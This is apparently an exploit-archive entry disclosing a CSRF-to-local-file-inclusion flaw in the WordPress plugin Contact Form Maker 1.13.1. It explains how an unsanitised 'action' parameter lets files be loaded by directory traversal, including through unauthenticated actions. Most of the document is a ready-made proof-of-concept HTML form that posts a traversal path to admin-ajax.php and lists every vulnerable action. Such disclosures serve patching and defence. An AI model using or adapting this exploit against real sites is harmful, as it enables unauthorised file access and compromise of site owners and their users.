WordPress Plugin Contact Form Maker 1.13.1 – Cross-Site Request Forgery
# Exploit Title: Contact Form by WD [CSRF → LFI] # Date: 2019-03-17 # Exploit Author: Panagiotis Vagenas # Vendor Homepage: http://web-dorado.com/ # Software Link: https://wordpress.org/plugins/contact-form-maker # Version: 1.13.1 # Tested on: WordPress 5.1.1 Description ----------- Plugin implements the following AJAX actions: - `manage_fm` - `get_stats` - `generete_csv` - `generete_xml` - `formmakerwdcaptcha` - `nopriv_formmakerwdcaptcha` - `formmakerwdmathcaptcha` - `nopriv_formmakerwdmathcaptcha` - `product_option` - `FormMakerEditCountryinPopup` - `FormMakerMapEditinPopup` - `FormMakerIpinfoinPopup` - `show_matrix` - `FormMakerSubmits` - `FormMakerSQLMapping` - `select_data_from_db` - `manage` All of them call the function `form_maker_ajax_fmc`. This function dynamicaly loads a file defined in `$_GET['action']` or `$_POST['action']` if the former is not defined. Because of the way WordPress defines the AJAX action a user could define the plugin action in the `$_GET['action']` and AJAX action in `$_POST['action']`. Leveraging that and the fact that no sanitization is performed on the `$_GET['action']`, a malicious actor can perform a CSRF attack to load a file using directory traversal thus leading to Local File Inclusion vulnerability. The following AJAX actions are available only for the paid version of the plugin: - `paypal_info` - `checkpaypal` - `nopriv_checkpaypal` - `get_frontend_stats` - `nopriv_get_frontend_stats` - `frontend_show_map` - `nopriv_frontend_show_map` - `frontend_show_matrix` - `nopriv_frontend_show_matrix` - `frontend_paypal_info` - `nopriv_frontend_paypal_info` - `frontend_generate_csv` - `nopriv_frontend_generate_csv` - `frontend_generate_xml` - `nopriv_frontend_generate_xml` - `FMShortocde` - `wd_bp_dismiss` In both free and paid versions, there are no-privilege actions that can be exploited by unauthenticated users in order to include local files. PoC --- ```html <form method="post" action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php"> <label>AJAX action: <select name="action"> <optgroup label="Free version"> <option value="FMShortocde_fmc">FMShortocde_fmc</option> <option value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option> <option value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option> <option value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option> <option value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option> <option value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option> <option value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option> <option value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option> <option value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option> <option value="generete_csv_fmc">generete_csv_fmc</option> <option value="generete_xml_fmc">generete_xml_fmc</option> <option value="get_stats_fmc">get_stats_fmc</option> <option value="manage_fmc">manage_fmc</option> <option value="manage_fm_fmc">manage_fm_fmc</option> <option value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option> <option value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option> <option value="product_option_fmc">product_option_fmc</option> <option value="select_data_from_db_fmc">select_data_from_db_fmc</option> <option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option> </optgroup> <optgroup label="Pro Version"> <option value="paypal_info_fmc">paypal_info_fmc</option> <option value="checkpaypal_fmc">checkpaypal_fmc</option> <option value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option> <option value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option> <option value="get_frontend_stats_fmc">get_frontend_stats_fmc</option> <option value="frontend_show_map_fmc">frontend_show_map_fmc</option> <option value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option> <option value="show_matrix_fmc">show_matrix_fmc</option> <option value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option> <option value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option> <option value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option> <option value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option> <option value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option> <option value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option> <option value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option> </optgroup> </select> </label> <button type="submit" value="Submit">Submit</button> </form> ``` |